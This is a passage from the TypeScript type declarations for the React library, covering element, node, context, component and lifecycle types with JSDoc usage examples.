deprecatedLegacyContext?: any) => ReactNode) | keyof JSX.IntrinsicElements, > = // need to check first if `ref` is a valid prop for ts@3.0 // otherwise it will infer `{}` instead of `never` "ref" extends keyof ComponentPropsWithRef<C> ? NonNullable<ComponentPropsWithRef<C>["ref"]> extends RefAttributes< infer Instance >["ref"] ? Instance : never : never; type ComponentState = any; /** * A value which uniquely identifies a node among items in an array. * * @see {@link https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key React Docs} */ type Key = string | number | bigint; /** * @internal The props any component can receive. * You don't have to add this type. All components automatically accept these props. * ```tsx * const Component = () => <div />; * <Component key="one" /> * ``` * * WARNING: The implementation of a component will never have access to these attributes. * The following example would be incorrect usage because {@link Component} would never have access to `key`: * ```tsx * const Component = (props: React.Attributes) => props.key; * ``` */ interface Attributes { key?: Key | null | undefined; } /** * The props any component accepting refs can receive. * Class components, built-in browser components (e.g. `div`) and forwardRef components can receive refs and automatically accept these props. * ```tsx * const Component = forwardRef(() => <div />); * <Component ref={(current) => console.log(current)} /> * ``` * * You only need this type if you manually author the types of props that need to be compatible with legacy refs. * ```tsx * interface Props extends React.RefAttributes<HTMLDivElement> {} * declare const Component: React.FunctionComponent<Props>; * ``` * * Otherwise it's simpler to directly use {@link Ref} since you can safely use the * props type to describe to props that a consumer can pass to the component * as well as describing the props the implementation of a component "sees". * {@link RefAttributes} is generally not safe to describe both consumer and seen props. * * ```tsx * interface Props extends { * ref?: React.Ref<HTMLDivElement> | undefined; * } * declare const Component: React.FunctionComponent<Props>; * ``` * * WARNING: The implementation of a component will not have access to the same type in versions of React supporting string refs. * The following example would be incorrect usage because {@link Component} would never have access to a `ref` with type `string` * ```tsx * const Component = (props: React.RefAttributes) => props.ref; * ``` */ interface RefAttributes<T> extends Attributes { /** * Allows getting a ref to the component instance. * Once the component unmounts, React will set `ref.current` to `null` * (or call the ref with `null` if you passed a callback ref). * * @see {@link https://react.dev/learn/referencing-values-with-refs#refs-and-the-dom React Docs} */ ref?: LegacyRef<T> | undefined; } /** * Represents the built-in attributes available to class components. */ interface ClassAttributes<T> extends RefAttributes<T> { } /** * Represents a JSX element. * * Where {@link ReactNode} represents everything that can be rendered, `ReactElement` * only represents JSX. * * @template P The type of the props object * @template T The type of the component or tag * * @example * * ```tsx * const element: ReactElement = <div />; * ``` */ interface ReactElement< P = any, T extends string | JSXElementConstructor<any> = string | JSXElementConstructor<any>, > { type: T; props: P; key: string | null; } /** * @deprecated */ interface ReactComponentElement< T extends keyof JSX.IntrinsicElements | JSXElementConstructor<any>, P = Pick<ComponentProps<T>, Exclude<keyof ComponentProps<T>, "key" | "ref">>, > extends ReactElement<P, Exclude<T, number>> {} interface FunctionComponentElement<P> extends ReactElement<P, FunctionComponent<P>> { ref?: ("ref" extends keyof P ? P extends { ref?: infer R | undefined } ? R : never : never) | undefined; } type CElement<P, T extends Component<P, ComponentState>> = ComponentElement<P, T>; interface ComponentElement<P, T extends Component<P, ComponentState>> extends ReactElement<P, ComponentClass<P>> { ref?: LegacyRef<T> | undefined; } /** * @deprecated Use {@link ComponentElement} instead. */ type ClassicElement<P> = CElement<P, ClassicComponent<P, ComponentState>>; // string fallback for custom web-components interface DOMElement<P extends HTMLAttributes<T> | SVGAttributes<T>, T extends Element> extends ReactElement<P, string> { ref: LegacyRef<T>; } // ReactHTML for ReactHTMLElement interface ReactHTMLElement<T extends HTMLElement> extends DetailedReactHTMLElement<AllHTMLAttributes<T>, T> {} interface DetailedReactHTMLElement<P extends HTMLAttributes<T>, T extends HTMLElement> extends DOMElement<P, T> { type: keyof ReactHTML; } // ReactSVG for ReactSVGElement interface ReactSVGElement extends DOMElement<SVGAttributes<SVGElement>, SVGElement> { type: keyof ReactSVG; } interface ReactPortal extends ReactElement { children: ReactNode; } // // Factories // ---------------------------------------------------------------------- type Factory<P> = (props?: Attributes & P, ...children: ReactNode[]) => ReactElement<P>; /** * @deprecated Please use `FunctionComponentFactory` */ type SFCFactory<P> = FunctionComponentFactory<P>; type FunctionComponentFactory<P> = ( props?: Attributes & P, ...children: ReactNode[] ) => FunctionComponentElement<P>; type ComponentFactory<P, T extends Component<P, ComponentState>> = ( props?: ClassAttributes<T> & P, ...children: ReactNode[] ) => CElement<P, T>; type CFactory<P, T extends Component<P, ComponentState>> = ComponentFactory<P, T>; type ClassicFactory<P> = CFactory<P, ClassicComponent<P, ComponentState>>; type DOMFactory<P extends DOMAttributes<T>, T extends Element> = ( props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ) => DOMElement<P, T>; interface HTMLFactory<T extends HTMLElement> extends DetailedHTMLFactory<AllHTMLAttributes<T>, T> {} interface DetailedHTMLFactory<P extends HTMLAttributes<T>, T extends HTMLElement> extends DOMFactory<P, T> { (props?: ClassAttributes<T> & P | null, ...children: ReactNode[]): DetailedReactHTMLElement<P, T>; } interface SVGFactory extends DOMFactory<SVGAttributes<SVGElement>, SVGElement> { ( props?: ClassAttributes<SVGElement> & SVGAttributes<SVGElement> | null, ...children: ReactNode[] ): ReactSVGElement; } /** * @deprecated - This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactText = string | number; /** * @deprecated - This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactChild = ReactElement | string | number; /** * @deprecated Use either `ReactNode[]` if you need an array or `Iterable<ReactNode>` if its passed to a host component. */ interface ReactNodeArray extends ReadonlyArray<ReactNode> {} /** * WARNING: Not related to `React.Fragment`. * @deprecated This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactFragment = Iterable<ReactNode>; /** * Different release channels declare additional types of ReactNode this particular release channel accepts. * App or library types should never augment this interface. */ interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES {} /** * Represents all of the things React can render. * * Where {@link ReactElement} only represents JSX, `ReactNode` represents everything that can be rendered. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/reactnode/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Typing children * type Props = { children: ReactNode } * * const Component = ({ children }: Props) => <div>{children}</div> * * <Component>hello</Component> * ``` * * @example * * ```tsx * // Typing a custom element * type Props = { customElement: ReactNode } * * const Component = ({ customElement }: Props) => <div>{customElement}</div> * * <Component customElement={<div>hello</div>} /> * ``` */ // non-thenables need to be kept in sync with AwaitedReactNode type ReactNode = | ReactElement | string | number | Iterable<ReactNode> | ReactPortal | boolean | null | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES ]; // // Top Level API // ---------------------------------------------------------------------- // DOM Elements /** @deprecated */ function createFactory<T extends HTMLElement>( type: keyof ReactHTML, ): HTMLFactory<T>; /** @deprecated */ function createFactory( type: keyof ReactSVG, ): SVGFactory; /** @deprecated */ function createFactory<P extends DOMAttributes<T>, T extends Element>( type: string, ): DOMFactory<P, T>; // Custom components /** @deprecated */ function createFactory<P>(type: FunctionComponent<P>): FunctionComponentFactory<P>; /** @deprecated */ function createFactory<P, T extends Component<P, ComponentState>, C extends ComponentClass<P>>( type: ClassType<P, T, C>, ): CFactory<P, T>; /** @deprecated */ function createFactory<P>(type: ComponentClass<P>): Factory<P>; // DOM Elements // TODO: generalize this to everything in `keyof ReactHTML`, not just "input" function createElement( type: "input", props?: InputHTMLAttributes<HTMLInputElement> & ClassAttributes<HTMLInputElement> | null, ...children: ReactNode[] ): DetailedReactHTMLElement<InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; function createElement<P extends HTMLAttributes<T>, T extends HTMLElement>( type: keyof ReactHTML, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): DetailedReactHTMLElement<P, T>; function createElement<P extends SVGAttributes<T>, T extends SVGElement>( type: keyof ReactSVG, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): ReactSVGElement; function createElement<P extends DOMAttributes<T>, T extends Element>( type: string, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): DOMElement<P, T>; // Custom components function createElement<P extends {}>( type: FunctionComponent<P>, props?: Attributes & P | null, ...children: ReactNode[] ): FunctionComponentElement<P>; function createElement<P extends {}, T extends Component<P, ComponentState>, C extends ComponentClass<P>>( type: ClassType<P, T, C>, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): CElement<P, T>; function createElement<P extends {}>( type: FunctionComponent<P> | ComponentClass<P> | string, props?: Attributes & P | null, ...children: ReactNode[] ): ReactElement<P>; // DOM Elements // ReactHTMLElement function cloneElement<P extends HTMLAttributes<T>, T extends HTMLElement>( element: DetailedReactHTMLElement<P, T>, props?: P, ...children: ReactNode[] ): DetailedReactHTMLElement<P, T>; // ReactHTMLElement, less specific function cloneElement<P extends HTMLAttributes<T>, T extends HTMLElement>( element: ReactHTMLElement<T>, props?: P, ...children: ReactNode[] ): ReactHTMLElement<T>; // SVGElement function cloneElement<P extends SVGAttributes<T>, T extends SVGElement>( element: ReactSVGElement, props?: P, ...children: ReactNode[] ): ReactSVGElement; // DOM Element (has to be the last, because type checking stops at first overload that fits) function cloneElement<P extends DOMAttributes<T>, T extends Element>( element: DOMElement<P, T>, props?: DOMAttributes<T> & P, ...children: ReactNode[] ): DOMElement<P, T>; // Custom components function cloneElement<P>( element: FunctionComponentElement<P>, props?: Partial<P> & Attributes, ...children: ReactNode[] ): FunctionComponentElement<P>; function cloneElement<P, T extends Component<P, ComponentState>>( element: CElement<P, T>, props?: Partial<P> & ClassAttributes<T>, ...children: ReactNode[] ): CElement<P, T>; function cloneElement<P>( element: ReactElement<P>, props?: Partial<P> & Attributes, ...children: ReactNode[] ): ReactElement<P>; /** * Describes the props accepted by a Context {@link Provider}. * * @template T The type of the value the context provides. */ interface ProviderProps<T> { value: T; children?: ReactNode | undefined; } /** * Describes the props accepted by a Context {@link Consumer}. * * @template T The type of the value the context provides. */ interface ConsumerProps<T> { children: (value: T) => ReactNode; } /** * An object masquerading as a component. These are created by functions * like {@link forwardRef}, {@link memo}, and {@link createContext}. * * In order to make TypeScript work, we pretend that they are normal * components. * * But they are, in fact, not callable - instead, they are objects which * are treated specially by the renderer. * * @template P The props the component accepts. */ interface ExoticComponent<P = {}> { (props: P): ReactNode; readonly $$typeof: symbol; } /** * An {@link ExoticComponent} with a `displayName` property applied to it. * * @template P The props the component accepts. */ interface NamedExoticComponent<P = {}> extends ExoticComponent<P> { /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * An {@link ExoticComponent} with a `propTypes` property applied to it. * * @template P The props the component accepts. */ interface ProviderExoticComponent<P> extends ExoticComponent<P> { propTypes?: WeakValidationMap<P> | undefined; } /** * Used to retrieve the type of a context object from a {@link Context}. * * @template C The context object. * * @example * * ```tsx * import { createContext } from 'react'; * * const MyContext = createContext({ foo: 'bar' }); * * type ContextType = ContextType<typeof MyContext>; * // ContextType = { foo: string } * ``` */ type ContextType<C extends Context<any>> = C extends Context<infer T> ? T : never; /** * Wraps your components to specify the value of this context for all components inside. * * @see {@link https://react.dev/reference/react/createContext#provider React Docs} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * * function App() { * return ( * <ThemeContext.Provider value="dark"> * <Toolbar /> * </ThemeContext.Provider> * ); * } * ``` */ type Provider<T> = ProviderExoticComponent<ProviderProps<T>>; /** * The old way to read context, before {@link useContext} existed. * * @see {@link https://react.dev/reference/react/createContext#consumer React Docs} * * @example * * ```tsx * import { UserContext } from './user-context'; * * function Avatar() { * return ( * <UserContext.Consumer> * {user => <img src={user.profileImage} alt={user.name} />} * </UserContext.Consumer> * ); * } * ``` */ type Consumer<T> = ExoticComponent<ConsumerProps<T>>; /** * Context lets components pass information deep down without explicitly * passing props. * * Created from {@link createContext} * * @see {@link https://react.dev/learn/passing-data-deeply-with-context React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/context/ React TypeScript Cheatsheet} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * ``` */ interface Context<T> { Provider: Provider<T>; Consumer: Consumer<T>; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * Lets you create a {@link Context} that components can provide or read. * * @param defaultValue The value you want the context to have when there is no matching * {@link Provider} in the tree above the component reading the context. This is meant * as a "last resort" fallback. * * @see {@link https://react.dev/reference/react/createContext#reference React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/context/ React TypeScript Cheatsheet} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * ``` */ function createContext<T>( // If you thought this should be optional, see // https://github.com/DefinitelyTyped/DefinitelyTyped/pull/24509#issuecomment-382213106 defaultValue: T, ): Context<T>; function isValidElement<P>(object: {} | null | undefined): object is ReactElement<P>; /** * Maintainer's note: Sync with {@link ReactChildren} until {@link ReactChildren} is removed. */ const Children: { map<T, C>( children: C | readonly C[], fn: (child: C, index: number) => T, ): C extends null | undefined ? C : Array<Exclude<T, boolean | null | undefined>>; forEach<C>(children: C | readonly C[], fn: (child: C, index: number) => void): void; count(children: any): number; only<C>(children: C): C extends any[] ? never : C; toArray(children: ReactNode | ReactNode[]): Array<Exclude<ReactNode, boolean | null | undefined>>; }; /** * Lets you group elements without a wrapper node. * * @see {@link https://react.dev/reference/react/Fragment React Docs} * * @example * * ```tsx * import { Fragment } from 'react'; * * <Fragment> * <td>Hello</td> * <td>World</td> * </Fragment> * ``` * * @example * * ```tsx * // Using the <></> shorthand syntax: * * <> * <td>Hello</td> * <td>World</td> * </> * ``` */ const Fragment: ExoticComponent<{ children?: ReactNode | undefined }>; /** * Lets you find common bugs in your components early during development. * * @see {@link https://react.dev/reference/react/StrictMode React Docs} * * @example * * ```tsx * import { StrictMode } from 'react'; * * <StrictMode> * <App /> * </StrictMode> * ``` */ const StrictMode: ExoticComponent<{ children?: ReactNode | undefined }>; /** * The props accepted by {@link Suspense}. * * @see {@link https://react.dev/reference/react/Suspense React Docs} */ interface SuspenseProps { children?: ReactNode | undefined; /** A fallback react tree to show when a Suspense child (like React.lazy) suspends */ fallback?: ReactNode; } /** * Lets you display a fallback until its children have finished loading. * * @see {@link https://react.dev/reference/react/Suspense React Docs} * * @example * * ```tsx * import { Suspense } from 'react'; * * <Suspense fallback={<Loading />}> * <ProfileDetails /> * </Suspense> * ``` */ const Suspense: ExoticComponent<SuspenseProps>; const version: string; /** * The callback passed to {@link ProfilerProps.onRender}. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ type ProfilerOnRenderCallback = ( /** * The string id prop of the {@link Profiler} tree that has just committed. This lets * you identify which part of the tree was committed if you are using multiple * profilers. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ id: string, /** * This lets you know whether the tree has just been mounted for the first time * or re-rendered due to a change in props, state, or hooks. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ phase: "mount" | "update" | "nested-update", /** * The number of milliseconds spent rendering the {@link Profiler} and its descendants * for the current update. This indicates how well the subtree makes use of * memoization (e.g. {@link memo} and {@link useMemo}). Ideally this value should decrease * significantly after the initial mount as many of the descendants will only need to * re-render if their specific props change. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ actualDuration: number, /** * The number of milliseconds estimating how much time it would take to re-render the entire * {@link Profiler} subtree without any optimizations. It is calculated by summing up the most * recent render durations of each component in the tree. This value estimates a worst-case * cost of rendering (e.g. the initial mount or a tree with no memoization). Compare * {@link actualDuration} against it to see if memoization is working. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ baseDuration: number, /** * A numeric timestamp for when React began rendering the current update. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ startTime: number, /** * A numeric timestamp for when React committed the current update. This value is shared * between all profilers in a commit, enabling them to be grouped if desirable. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ commitTime: number, ) => void; /** * The props accepted by {@link Profiler}. * * @see {@link https://react.dev/reference/react/Profiler React Docs} */ interface ProfilerProps { children?: ReactNode | undefined; id: string; onRender: ProfilerOnRenderCallback; } /** * Lets you measure rendering performance of a React tree programmatically. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} * * @example * * ```tsx * <Profiler id="App" onRender={onRender}> * <App /> * </Profiler> * ``` */ const Profiler: ExoticComponent<ProfilerProps>; // // Component API // ---------------------------------------------------------------------- type ReactInstance = Component<any> | Element; // Base component for plain JS classes interface Component<P = {}, S = {}, SS = any> extends ComponentLifecycle<P, S, SS> {} class Component<P, S> { /** * If set, `this.context` will be set at runtime to the current value of the given Context. * * @example * * ```ts * type MyContext = number * const Ctx = React.createContext<MyContext>(0) * * class Foo extends React.Component { * static contextType = Ctx * context!: React.ContextType<typeof Ctx> * render () { * return <>My context's value: {this.context}</>; * } * } * ``` * * @see {@link https://react.dev/reference/react/Component#static-contexttype} */ static contextType?: Context<any> | undefined; /** * If using the new style context, re-declare this in your class to be the * `React.ContextType` of your `static contextType`. * Should be used with type annotation or static contextType. * * @example * ```ts * static contextType = MyContext * // For TS pre-3.7: * context!: React.ContextType<typeof MyContext> * // For TS 3.7 and above: * declare context: React.ContextType<typeof MyContext> * ``` * * @see {@link https://react.dev/reference/react/Component#context React Docs} */ context: unknown; constructor(props: P); /** * @deprecated * @see {@link https://legacy.reactjs.org/docs/legacy-context.html React Docs} */ constructor(props: P, context: any); // We MUST keep setState() as a unified signature because it allows proper checking of the method return type. // See: https://github.com/DefinitelyTyped/DefinitelyTyped/issues/18365#issuecomment-351013257 // Also, the ` | S` allows intellisense to not be dumbisense setState<K extends keyof S>( state: ((prevState: Readonly<S>, props: Readonly<P>) => Pick<S, K> | S | null) | (Pick<S, K> | S | null), callback?: () => void, ): void; forceUpdate(callback?: () => void): void; render(): ReactNode; readonly props: Readonly<P>; state: Readonly<S>; /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/refs-and-the-dom.html#legacy-api-string-refs Legacy React Docs} */ refs: { [key: string]: ReactInstance; }; } class PureComponent<P = {}, S = {}, SS = any> extends Component<P, S, SS> {} /** * @deprecated Use `ClassicComponent` from `create-react-class` * * @see {@link https://legacy.reactjs.org/docs/react-without-es6.html Legacy React Docs} * @see {@link https://www.npmjs.com/package/create-react-class `create-react-class` on npm} */ interface ClassicComponent<P = {}, S = {}> extends Component<P, S> { replaceState(nextState: S, callback?: () => void): void; isMounted(): boolean; getInitialState?(): S; } interface ChildContextProvider<CC> { getChildContext(): CC; } // // Class Interfaces // ---------------------------------------------------------------------- /** * Represents the type of a function component. Can optionally * receive a type argument that represents the props the component * receives. * * @template P The props the component accepts. * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/function_components React TypeScript Cheatsheet} * @alias for {@link FunctionComponent} * * @example * * ```tsx * // With props: * type Props = { name: string } * * const MyComponent: FC<Props> = (props) => { * return <div>{props.name}</div> * } * ``` * * @example * * ```tsx * // Without props: * const MyComponentWithoutProps: FC = () => { * return <div>MyComponentWithoutProps</div> * } * ``` */ type FC<P = {}> = FunctionComponent<P>; /** * Represents the type of a function component. Can optionally * receive a type argument that represents the props the component * accepts. * * @template P The props the component accepts. * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/function_components React TypeScript Cheatsheet} * * @example * * ```tsx * // With props: * type Props = { name: string } * * const MyComponent: FunctionComponent<Props> = (props) => { * return <div>{props.name}</div> * } * ``` * * @example * * ```tsx * // Without props: * const MyComponentWithoutProps: FunctionComponent = () => { * return <div>MyComponentWithoutProps</div> * } * ``` */ interface FunctionComponent<P = {}> { ( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): ReactNode; /** * Used to declare the types of the props accepted by the * component. These types will be checked during rendering * and in development only. * * We recommend using TypeScript instead of checking prop * types at runtime. * * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: WeakValidationMap<P> | undefined; /** * @deprecated * * Lets you specify which legacy context is consumed by * this component. * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html Legacy React Docs} */ contextTypes?: ValidationMap<any> | undefined; /** * Used to define default values for the props accepted by * the component. * * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} * * @example * * ```tsx * type Props = { name?: string } * * const MyComponent: FC<Props> = (props) => { * return <div>{props.name}</div> * } * * MyComponent.defaultProps = { * name: 'John Doe' * } * ``` * * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} * * @example * * ```tsx * * const MyComponent: FC = () => { * return <div>Hello!</div> * } * * MyComponent.displayName = 'MyAwesomeComponent' * ``` */ displayName?: string | undefined; } /** * @deprecated - Equivalent to {@link React.FunctionComponent}. * * @see {@link React.FunctionComponent} * @alias {@link VoidFunctionComponent} */ type VFC<P = {}> = VoidFunctionComponent<P>; /** * @deprecated - Equivalent to {@link React.FunctionComponent}. * * @see {@link React.FunctionComponent} */ interface VoidFunctionComponent<P = {}> { ( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): ReactNode; propTypes?: WeakValidationMap<P> | undefined; contextTypes?: ValidationMap<any> | undefined; /** * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; displayName?: string | undefined; } /** * The type of the ref received by a {@link ForwardRefRenderFunction}. * * @see {@link ForwardRefRenderFunction} */ type ForwardedRef<T> = ((instance: T | null) => void) | MutableRefObject<T | null> | null; /** * The type of the function passed to {@link forwardRef}. This is considered different * to a normal {@link FunctionComponent} because it receives an additional argument, * * @param props Props passed to the component, if any. * @param ref A ref forwarded to the component of type {@link ForwardedRef}. * * @template T The type of the forwarded ref. * @template P The type of the props the component accepts. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/ React TypeScript Cheatsheet} * @see {@link forwardRef} */ interface ForwardRefRenderFunction<T, P = {}> { (props: P, ref: ForwardedRef<T>): ReactNode; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * Will show `ForwardRef(${Component.displayName || Component.name})` * in devtools by default, but can be given its own specific name. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; /** * defaultProps are not supported on render functions passed to forwardRef. * * @see {@link https://github.com/microsoft/TypeScript/issues/36826 linked GitHub issue} for context * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} */ defaultProps?: never | undefined; /** * propTypes are not supported on render functions passed to forwardRef. * * @see {@link https://github.com/microsoft/TypeScript/issues/36826 linked GitHub issue} for context * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: never | undefined; } /** * Represents a component class in React. * * @template P The props the component accepts. * @template S The internal state of the component. */ interface ComponentClass<P = {}, S = ComponentState> extends StaticLifecycle<P, S> { new( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ): Component<P, S>; /** * Used to declare the types of the props accepted by the * component. These types will be checked during rendering * and in development only. * * We recommend using TypeScript instead of checking prop * types at runtime. * * @see {@link https://react.dev/reference/react/Component#static-proptypes React Docs} */ propTypes?: WeakValidationMap<P> | undefined; contextType?: Context<any> | undefined; /** * @deprecated use {@link ComponentClass.contextType} instead * * Lets you specify which legacy context is consumed by * this component. * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html Legacy React Docs} */ contextTypes?: ValidationMap<any> | undefined; /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#how-to-use-context Legacy React Docs} */ childContextTypes?: ValidationMap<any> | undefined; /** * Used to define default values for the props accepted by * the component. * * @see {@link https://react.dev/reference/react/Component#static-defaultprops React Docs} */ defaultProps?: Partial<P> | undefined; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * @deprecated Use `ClassicComponentClass` from `create-react-class` * * @see {@link https://legacy.reactjs.org/docs/react-without-es6.html Legacy React Docs} * @see {@link https://www.npmjs.com/package/create-react-class `create-react-class` on npm} */ interface ClassicComponentClass<P = {}> extends ComponentClass<P> { new(props: P, deprecatedLegacyContext?: any): ClassicComponent<P, ComponentState>; getDefaultProps?(): P; } /** * Used in {@link createElement} and {@link createFactory} to represent * a class. * * An intersection type is used to infer multiple type parameters from * a single argument, which is useful for many top-level API defs. * See {@link https://github.com/Microsoft/TypeScript/issues/7234 this GitHub issue} * for more info. */ type ClassType<P, T extends Component<P, ComponentState>, C extends ComponentClass<P>> = & C & (new(props: P, deprecatedLegacyContext?: any) => T); // // Component Specs and Lifecycle // ---------------------------------------------------------------------- // This should actually be something like `Lifecycle<P, S> | DeprecatedLifecycle<P, S>`, // as React will _not_ call the deprecated lifecycle methods if any of the new lifecycle // methods are present. interface ComponentLifecycle<P, S, SS = any> extends NewLifecycle<P, S, SS>, DeprecatedLifecycle<P, S> { /** * Called immediately after a component is mounted. Setting state here will trigger re-rendering. */ componentDidMount?(): void; /** * Called to determine whether the change in props and state should trigger a re-render. * * `Component` always returns true. * `PureComponent` implements a shallow comparison on props and state and returns true if any * props or states have changed. * * If false is returned, {@link Component.render}, `componentWillUpdate` * and `componentDidUpdate` will not be called. */ shouldComponentUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): boolean; /** * Called immediately before a component is destroyed. Perform any necessary cleanup in this method, such as * cancelled network requests, or cleaning up any DOM elements created in `componentDidMount`. */ componentWillUnmount?(): void; /** * Catches exceptions generated in descendant components. Unhandled exceptions will cause * the entire component tree to unmount. */ componentDidCatch?(error: Error, errorInfo: ErrorInfo): void; } // Unfortunately, we have no way of declaring that the component constructor must implement this interface StaticLifecycle<P, S> { getDerivedStateFromProps?: GetDerivedStateFromProps<P, S> | undefined; getDerivedStateFromError?: GetDerivedStateFromError<P, S> | undefined; } type GetDerivedStateFromProps<P, S> = /** * Returns an update to a component's state based on its new props and old state. * * Note: its presence prevents any of the deprecated lifecycle methods from being invoked */ (nextProps: Readonly<P>, prevState: S) => Partial<S> | null; type GetDerivedStateFromError<P, S> = /** * This lifecycle is invoked after an error has been thrown by a descendant component. * It receives the error that was thrown as a parameter and should return a value to update state. * * Note: its presence prevents any of the deprecated lifecycle methods from being invoked */ (error: any) => Partial<S> | null; // This should be "infer SS" but can't use it yet interface NewLifecycle<P, S, SS> { /** * Runs before React applies the result of {@link Component.render render} to the document, and * returns an object to be given to {@link componentDidUpdate}. Useful for saving * things such as scroll position before {@link Component.render render} causes changes to it. * * Note: the presence of this method prevents any of the deprecated * lifecycle events from running. */ getSnapshotBeforeUpdate?(prevProps: Readonly<P>, prevState: Readonly<S>): SS | null; /** * Called immediately after updating occurs. Not called for the initial render. * * The snapshot is only present if {@link getSnapshotBeforeUpdate} is present and returns non-null. */ componentDidUpdate?(prevProps: Readonly<P>, prevState: Readonly<S>, snapshot?: SS): void; } interface DeprecatedLifecycle<P, S> { /** * Called immediately before mounting occurs, and before {@link Component.render}. * Avoid introducing any side-effects or subscriptions in this method. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use {@link ComponentLifecycle.componentDidMount componentDidMount} or the constructor instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#initializing-state} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillMount?(): void; /** * Called immediately before mounting occurs, and before {@link Component.render}. * Avoid introducing any side-effects or subscriptions in this method. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use {@link ComponentLifecycle.componentDidMount componentDidMount} or the constructor instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#initializing-state} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillMount?(): void; /** * Called when the component may be receiving new props. * React may call this even if props have not changed, so be sure to compare new and existing * props if you only want to handle changes. * * Calling {@link Component.setState} generally does not trigger this method. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use static {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#updating-state-based-on-props} * @see {@link 